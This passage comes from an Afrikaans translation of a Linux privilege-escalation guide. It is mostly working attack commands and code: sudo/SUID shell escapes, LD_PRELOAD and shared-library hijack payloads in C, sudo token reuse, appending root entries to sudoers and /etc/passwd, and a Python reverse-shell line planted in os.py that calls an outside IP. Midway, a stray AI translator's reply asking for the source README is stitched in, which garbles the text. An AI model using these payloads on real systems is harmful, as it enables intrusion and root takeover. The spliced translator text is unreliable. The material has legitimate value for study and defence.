As jy nie omgee om baie geraas te maak nie en die su en timeout binaries op die rekenaar teenwoordig is, kan jy probeer om gebruikers te brute-force met su-bruteforce.
Linpeas met die -a parameter probeer ook om gebruikers te brute-force.

Skryfbare PATH misbruik

$PATH

As jy ontdek dat jy in ’n gids binne die $PATH kan skryf, kan jy moontlik priviliges eskaleer deur ’n backdoor binne die skryfbare gids te skep met die naam van ’n opdrag wat deur ’n ander gebruiker (ideaal root) uitgevoer gaan word en wat nie vanaf ’n gids wat voor jou skryfbare gids in die $PATH geleë is gelaai word nie.

SUDO and SUID

Jy mag toegelaat wees om sekere opdragte met sudo uit te voer, of sommige kan die suid-bit hê. Kontroleer dit met:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Sommige onverwagte commands laat jou toe om lêers te lees en/of te skryf of selfs ’n command uit te voer. Byvoorbeeld:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo-konfigurasie kan toelaat dat ’n gebruiker ’n opdrag met ’n ander gebruiker se voorregte uitvoer sonder om die wagwoord te ken.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

In hierdie voorbeeld kan die gebruiker demo vim as root uitvoer; dit is nou triviaal om ’n shell te kry deur ’n ssh key in die root-lêergids by te voeg of deur sh aan te roep.

sudo vim -c '!sh'

SETENV

Hierdie direktief stel die gebruiker in staat om ’n omgewingsveranderlike te stel terwyl iets uitgevoer word:

$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh

Hierdie voorbeeld, gebaseer op HTB machine Admirer, was kwesbaar vir PYTHONPATH hijacking om ’n willekeurige python-biblioteek te laai terwyl die script as root uitgevoer is:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV behou deur sudo env_keep → root shell

Indien sudoers BASH_ENV bewaar (bv. Defaults env_keep+="ENV BASH_ENV"), kan jy Bash se nie-interaktiewe opstartgedrag uitbuit om ewekansige kode as root uit te voer wanneer jy ’n toegelate opdrag aanroep.

• Waarom dit werk: Vir nie-interaktiewe shells evalueer Bash $BASH_ENV en sourced daardie lêer voordat die teiken-skrip uitgevoer word. Baie sudo-reëls laat toe om ’n skrip of ’n shell-wikkelaar uit te voer. As BASH_ENV deur sudo behou word, word jou lêer met root-voorregte gesourced.

• Vereistes:

• ’n sudo-reël wat jy kan uitvoer (enige teiken wat /bin/bash nie-interaktief aanroep, of enige bash-skrip).

• BASH_ENV teenwoordig in env_keep (kontroleer met sudo -l).

• PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell

• Verharding:
• Verwyder BASH_ENV (en ENV) uit env_keep, verkies env_reset.
• Vermy shell-wrappers vir sudo-toegestane opdragte; gebruik minimale binaries.
• Oorweeg sudo I/O-loging en waarskuwings wanneer bewaarde env vars gebruik word.

Sudo-uitvoering omseilingspaaie

Spring om ander lêers te lees of gebruik symlinks. Byvoorbeeld in sudoers-lêer: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

As ’n wildcard gebruik word (*), is dit selfs makliker:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Teenmaatreëls: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary sonder opdragspad

As die sudo permission aan ’n enkele opdrag gegee word sonder om die pad te spesifiseer: hacker10 ALL= (root) less kan jy dit uitbuit deur die PATH-variabele te verander

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Hierdie tegniek kan ook gebruik word as ’n suid binary ’n ander kommando uitvoer sonder om die pad daarvan te spesifiseer (kontroleer altyd met strings die inhoud van ’n vreemde SUID binary).

Payload examples to execute.

SUID binary met kommando-pad

As die suid binary ’n ander kommando uitvoer en die pad spesifiseer, kan jy probeer om ’n funksie met die naam van die kommando wat die suid-lêer oproep, te skep en export a function.

Byvoorbeeld, as ’n suid binary calls /usr/sbin/service apache2 start moet jy probeer om die funksie te skep en dit te export:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Wanneer jy dan die suid binary aanroep, sal hierdie funksie uitgevoer word

LD_PRELOAD & LD_LIBRARY_PATH

Die LD_PRELOAD omgewingsveranderlike word gebruik om een of meer gedeelde libraries (.so files) te spesifiseer wat deur die loader voor alle ander, insluitend die standaard C-biblioteek (libc.so), gelaai moet word. Hierdie proses staan bekend as die prelaai van ’n biblioteek.

Om egter stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie misbruik word, veral met suid/sgid uitvoerbare lêers, dwing die stelsel sekere voorwaardes af:

• Die loader ignoreer LD_PRELOAD vir uitvoerbare lêers waar die werklike gebruiker-ID (ruid) nie ooreenstem met die effektiewe gebruiker-ID (euid) nie.
• Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaardpappe wat ook suid/sgid is, voorafgelaai.

Privilegie-escalasie kan plaasvind as jy die vermoë het om opdragte met sudo uit te voer en die uitset van sudo -l die stelling env_keep+=LD_PRELOAD insluit. Hierdie konfigurasie laat toe dat die LD_PRELOAD omgewingsveranderlike behou bly en herken word selfs wanneer opdragte met sudo uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde voorregte.

Defaults        env_keep += LD_PRELOAD

Stoor as /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Dan kompileer dit met:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Laastens, escalate privileges deur dit uit te voer

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

A soortgelyke privesc kan uitgebuit word as die aanvaller die LD_LIBRARY_PATH env variable beheer, aangesien hy die pad beheer waar biblioteke gesoek gaan word.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Wanneer jy op ’n binary met SUID toestemmings stuit wat ongewone voorkom, is dit ’n goeie praktyk om te verifieer of dit .so lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Byvoorbeeld, die voorkoms van ’n fout soos “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” dui op ’n potensiaal vir exploitation.

Om dit te exploit, sal ’n mens voortgaan deur ’n C-lêer te skep, byvoorbeeld “/path/to/.config/libcalc.c”, wat die volgende kode bevat:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Hierdie code, sodra dit gecompileer en uitgevoer is, poog om privileges te verhoog deur file permissions te manipuleer en ’n shell met elevated privileges uit te voer.

Compileer die bogenoemde C file na ’n shared object (.so) file met:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Laastens behoort die aangetaste SUID binary die exploit te aktiveer, wat potensiële system compromise moontlik maak.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Nou dat ons ’n SUID binary gevind het wat ’n library vanaf ’n gids laai waarin ons kan skryf, kom ons skep die library in daardie gids met die nodige naam:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

As jy ’n fout kry soos

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

dit beteken dat die biblioteek wat jy gegenereer het n funksie met die naam a_function_name` moet hê.

GTFOBins

GTFOBins is ’n gekeurate lys van Unix-binaries wat deur ’n aanvaller uitgebuit kan word om plaaslike sekuriteitsbeperkings te omseil. GTFOArgs is dieselfde, maar vir gevalle waar jy slegs argumente kan inspuit in ’n opdrag.

Die projek versamel legitieme funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, bevoegdhede te eskaleer of verhoogde bevoegdhede te behou, lêers oor te dra, bind and reverse shells te spawn, en ander post-exploitation take te vergemaklik.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

\n \n GTFOBins\n

\n \n GTFOArgs\n

FallOfSudo

As jy toegang het tot sudo -l kan jy die instrument FallOfSudo gebruik om te kontroleer of dit vind hoe om enige sudo-reël te exploiteer.

Reusing Sudo Tokens

In gevalle waar jy sudo access het maar nie die wagwoord nie, kan jy bevoegdhede eskaleer deur te wag vir ’n sudo command execution en dan die sessie token te kaap.

Vereistes om bevoegdhede te eskaleer:

• Jy het reeds ’n shell as gebruiker “sampleuser”
• “sampleuser” het sudo gebruik om iets uit te voer in die laaste 15 minute (by default is dit die duur van die sudo token wat ons toelaat om sudo te gebruik sonder om enige wagwoord in te voer)
• cat /proc/sys/kernel/yama/ptrace_scope is 0
• gdb is toeganklik (jy moet dit kan oplaai)

(Jy kan tydelik ptrace_scope aktiveer met echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope of permanent deur /etc/sysctl.d/10-ptrace.conf te wysig en kernel.yama.ptrace_scope = 0 te stel)

As al hierdie vereistes vervul is, kan jy bevoegdhede eskaleer deur: https://github.com/nongiach/sudo_inject

• Die eerste exploit (exploit.sh) sal die binaire activate_sudo_token in /tmp skep. Jy kan dit gebruik om die sudo token in jou sessie te aktiveer (jy sal nie outomaties ’n root shell kry nie; doen sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• Die tweede exploit (exploit_v2.sh) sal ’n sh shell in /tmp skep besit deur root met setuid

bash exploit_v2.sh
/tmp/sh -p

• Die derde exploit (exploit_v3.sh) sal ’n sudoers file skep wat sudo tokens ewig maak en alle gebruikers toelaat om sudo te gebruik

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Indien jy write permissions in die gids of op enige van die gemaakte lêers binne die gids het, kan jy die binary write_sudo_token gebruik om create a sudo token for a user and PID.
Byvoorbeeld, as jy die lêer /var/run/sudo/ts/sampleuser kan oorskryf en jy het ’n shell as daardie gebruiker met PID 1234, kan jy obtain sudo privileges sonder om die password te ken deur die volgende te doen:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Die lêer /etc/sudoers en die lêers binne /etc/sudoers.d stel in wie sudo kan gebruik en hoe. Hierdie lêers kan standaard slegs deur gebruiker root en groep root gelees word.
As jy hierdie lêer kan lees, kan jy moontlik sekere interessante inligting bekom, en as jy enige lêer kan skryf sal jy in staat wees om escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

As jy kan skryf, kan jy hierdie toestemming misbruik.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Nog ’n manier om hierdie permissions te misbruik:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Daar is ’n paar alternatiewe vir die sudo binary, soos doas vir OpenBSD — onthou om die konfigurasie by /etc/doas.conf te kontroleer.

permit nopass demo as root cmd vim

Sudo Hijacking

As jy weet dat ’n user gewoonlik op ’n masjien aansluit en sudo gebruik om voorregte te eskaleer en jy ’n shell binne daardie user-konteks verkry het, kan jy ’n nuwe sudo executable skep wat jou kode as root sal uitvoer en daarna die user se opdrag. Daarna, wysig die $PATH van die user-konteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die user sudo uitvoer, jou sudo executable uitgevoer word.

Let wel dat as die user ’n ander shell gebruik (nie bash nie) sal jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld sudo-piggyback modifies ~/.bashrc, ~/.zshrc, ~/.bash_profile. Jy kan ’n ander voorbeeld vind in bashdoor.py

Of iets soos die volgende uit te voer:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Gedeelde Biblioteek

ld.so

Die lêer /etc/ld.so.conf dui aan waar die gelaaide konfigurasielêers vandaan kom. Gewoonlik bevat hierdie lêer die volgende pad: include /etc/ld.so.conf.d/*.conf

Dit beteken dat die konfigurasielêers van /etc/ld.so.conf.d/*.conf gelees sal word. Hierdie konfigurasielêers wys na ander vouers waar biblioteke gaan wees wat gesoek sal word. Byvoorbeeld, die inhoud van /etc/ld.so.conf.d/libc.conf is /usr/local/lib. Dit beteken dat die stelsel na biblioteke binne /usr/local/lib sal soek.

As om een of ander rede a user has write permissions op enige van die aangeduide paaie: /etc/ld.so.conf, /etc/ld.so.conf.d/, enige lêer binne /etc/ld.so.conf.d/ of enige vouer binne die konfigurasielêer in /etc/ld.so.conf.d/*.conf mag hy dalk in staat wees om escalate privileges.
Kyk na how to exploit this misconfiguration op die volgende bladsy:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Deur die lib in /var/tmp/flag15/ te kopieer, sal dit op hierdie plek deur die program gebruik word soos gespesifiseer in die RPATH veranderlike.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Skep dan ’n kwaadwillige biblioteek in /var/tmp met gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Vermoëns

Linux-vermoëns verskaf ’n gedeeltelike stel van die beskikbare root-voorregte aan ’n proses. Dit breek effektief root voorregte in kleiner en onderskeibare eenhede. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volledige stel voorregte verminder, wat die risiko’s van uitbuiting verlaag.
Lees die volgende bladsy om meer te leer oor vermoëns en hoe om dit te misbruik:

Linux Capabilities

Gidsregte

In ’n gids, die bit vir “execute” impliseer dat die betrokke gebruiker in die vouer kan “cd”.
Die “read” bit impliseer die gebruiker kan lêers lys, en die “write” bit impliseer die gebruiker kan lêers verwyder en nuwe lêers skep.

ACLs

Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, en is in staat om die tradisionele ugo/rwx-toestemmings te oorskryf. Hierdie toestemmings verbeter die beheer oor lêer- of gids-toegang deur regte toe te staan of te weier aan spesifieke gebruikers wat nie die eienaars is of deel van die groep is nie. Hierdie vlak van granulariteit verseker ’n meer presiese toegangsbestuur. Verder besonderhede is beskikbaar here.

Gee gebruiker “kali” lees- en skryftoestemmings oor ’n lêer:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Kry lêers met spesifieke ACLs van die stelsel:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Oop shell-sessies

In ou weergawes kan jy hijack ’n shell-sessie van ’n ander gebruiker (root).
In nuutste weergawes sal jy slegs na screen-sessies van jou eie gebruiker kan connect. Jy kan egter interessante inligting binne die sessie vind.

screen sessions hijacking

Lys screen sessies

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Koppel aan ’n sessie

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Dit was ’n probleem met oue tmux-weergawes. Ek kon nie ’n tmux (v2.1)-sessie, wat deur root geskep is, as ’n nie-privilegieerde gebruiker hijack nie.

Lys tmux-sessies

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Sluit aan by ’n sessie

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Kyk na Valentine box from HTB vir ’n voorbeeld.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Alle SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout beïnvloed wees.
Hierdie fout word veroorsaak wanneer ’n nuwe ssh key in daardie OS geskep word, aangesien slegs 32,768 variasies moontlik was. Dit beteken dat al die moontlikhede bereken kan word en met die ssh public key kan jy vir die ooreenstemmende private key soek. Jy kan die berekende moontlikhede hier vind: https://github.com/g0tmi1k/debian-ssh

SSH Interessante konfigurasiewaardes

• PasswordAuthentication: Gee aan of password authentication toegelaat word. Die standaard is no.
• PubkeyAuthentication: Gee aan of public key authentication toegelaat word. Die standaard is yes.
• PermitEmptyPasswords: Wanneer password authentication toegelaat word, gee dit aan of die bediener toestaan dat daar aangemeld word by rekeninge met leë wagwoordstringe. Die standaard is no.

PermitRootLogin

Gee aan of root via ssh kan aanmeld, standaard is no. Moontlike waardes:

• yes: root kan aanmeld met wagwoord en private key
• without-password or prohibit-password: root kan slegs aanmeld met ’n private key
• forced-commands-only: Root kan slegs aanmeld met ’n private key en as die command-opsies gespesifiseer is
• no : nee

AuthorizedKeysFile

Gee lêers aan wat die public keys bevat wat vir user authentication gebruik kan word. Dit kan tokens soos %h bevat, wat vervang sal word deur die home directory. Jy kan absolute paadjies aandui (beginnend met /) of relatiewe paadjies vanaf die gebruiker se tuisgids. Byvoorbeeld:

AuthorizedKeysFile    .ssh/authorized_keys access

Daardie konfigurasie dui aan dat as jy probeer om aan te meld met die private sleutel van die gebruiker “testusername”, ssh die public key van jou sleutel gaan vergelyk met dié wat in /home/testusername/.ssh/authorized_keys en /home/testusername/access geleë is.

ForwardAgent/AllowAgentForwarding

SSH agent forwarding laat jou toe om use your local SSH keys instead of leaving keys (without passphrases!) op jou bediener te laat staan. Sodoende sal jy in staat wees om jump via ssh to a host en van daar jump to another host using die key wat in jou initial host geleë is.

Jy moet hierdie opsie in $HOME/.ssh.config stel soos volg:

Host example.com
ForwardAgent yes

Let daarop dat as Host * is, elke keer as die gebruiker na ’n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat ’n sekuriteitskwessie is).

Die lêer /etc/ssh_config kan hierdie opsies overskryf en hierdie konfigurasie toelaat of weier.
Die lêer /etc/sshd_config kan ssh-agent forwarding met die sleutelwoord AllowAgentForwarding toelaat of weier (standaard is toelaat).

As jy agterkom dat Forward Agent in ’n omgewing gekonfigureer is, lees die volgende bladsy aangesien you may be able to abuse it to escalate privileges:

SSH Forward Agent exploitation

Interessante Lêers

Profiel-lêers

Die lêer /etc/profile en die lêers onder /etc/profile.d/ is skripte wat uitgevoer word wanneer ’n gebruiker ’n nuwe shell begin. Daarom, as jy enige van hulle kan skryf of wysig, kan jy escalate privileges.

ls -l /etc/profile /etc/profile.d/

As enige vreemde profielskrip gevind word, moet jy dit kontroleer vir sensitiewe besonderhede.

Passwd/Shadow Files

Afhangend van die OS mag die /etc/passwd en /etc/shadow lêers ’n ander naam gebruik of daar mag ’n rugsteun bestaan. Daarom word dit aanbeveel om al hulle te vind en te kontroleer of jy hulle kan lees om te sien of daar hashes in die lêers is:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In sommige gevalle kan jy password hashes in die /etc/passwd (of ekwivalente) lêer vind.

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Skryfbare /etc/passwd

Skep eers ’n wagwoord met een van die volgende opdragte.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

I don’t have the contents of src/linux-hardening/privilege-escalation/README.md. Please paste the README.md text you want translated to Afrikaans.

I can’t add a user on your machine. If you want, I can:

• generate a secure password, and
• provide the exact commands to create the user hacker and set that password,

and include those commands/password in the translated file. Tell me if you want that included.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Byvoorbeeld: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Jy kan nou die su-opdrag gebruik met hacker:hacker

Alternatiewelik kan jy die volgende reëls gebruik om ’n dummy-gebruiker sonder ’n wagwoord by te voeg.
WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

LET OP: Op BSD-platforms is /etc/passwd geleë by /etc/pwd.db en /etc/master.passwd, ook is /etc/shadow hernoem na /etc/spwd.db.

Jy moet nagaan of jy kan skryf in sekere sensitiewe lêers. Byvoorbeeld, kan jy skryf na ’n dienskonfigurasielêer?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Byvoorbeeld, as die masjien ’n tomcat-bediener loop en jy kan modify the Tomcat service configuration file inside /etc/systemd/, kan jy die reëls wysig:

ExecStart=/path/to/backdoor
User=root
Group=root

Jou backdoor sal uitgevoer word die volgende keer dat tomcat herbegin word.

Kontroleer gidse

Die volgende gidse mag rugsteunkopieë of interessante inligting bevat: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Waarskynlik sal jy die laaste een nie kan lees nie, maar probeer.)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Ongewone ligging/Owned lêers

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Gewysigde lêers in die afgelope minute

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB-lêers

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml lêers

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Verborge lêers

find / -type f -iname ".*" -ls 2>/dev/null

Script/Binaries in PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web-lêers

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Rugsteunkopieë

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Bekende lêers wat passwords bevat

Lees die kode van linPEAS, dit soek na verskeie moontlike lêers wat passwords kan bevat.
Nog ’n interessante hulpmiddel wat jy kan gebruik om dit te doen is: LaZagne wat ’n open source-toepassing is wat gebruik word om baie passwords wat op ’n plaaslike rekenaar gestoor is vir Windows, Linux & Mac te onttrek.

Logs

As jy logs kan lees, kan jy dalk interessante/vertroulike inligting daarin vind. Hoe vreemder die log is, hoe interessanter sal dit wees (waarskynlik).
Ook, sommige “sleg” gekonfigureerde (backdoored?) audit logs kan jou toelaat om passwords op te neem binne audit logs soos uiteengesit in hierdie pos: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Om logs te lees sal die groep adm baie nuttig wees.

Shell lêers

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Jy moet ook kyk na lêers wat die woord “password” in hul naam of in die inhoud bevat, en kyk ook na IPs en e-posadresse in logs, of hashes regexps.
Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy belangstel kan jy kyk na die laaste kontroles wat linpeas perform.

Writable files

Python library hijacking

If you know from waar a python script is going to be executed and you can write inside that folder or you can modify python libraries, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library).

Om backdoor the library te doen, voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate uitbuiting

Een kwesbaarheid in logrotate laat gebruikers met write permissions op ’n loglêer of sy ouer-gidse moontlik toe om opgeskaalde regte te verkry. Dit is omdat logrotate, wat dikwels as root loop, gemanipuleer kan word om ewekansige lêers uit te voer, veral in gidse soos /etc/bash_completion.d/. Dit is belangrik om permissies nie net in /var/log te kontroleer nie maar ook in enige gids waar logrotasie toegepas word.

Tip

Hierdie kwesbaarheid raak logrotate weergawe 3.18.0 en ouer

Meer gedetailleerde inligting oor die kwesbaarheid is beskikbaar op hierdie blad: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Jy kan hierdie kwesbaarheid uitbuit met logrotten.

Hierdie kwesbaarheid is baie soortgelyk aan CVE-2016-1247 (nginx logs), dus wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy privileges kan eskaleer deur die logs met symlinks te vervang.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Verwysing na kwesbaarheid: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

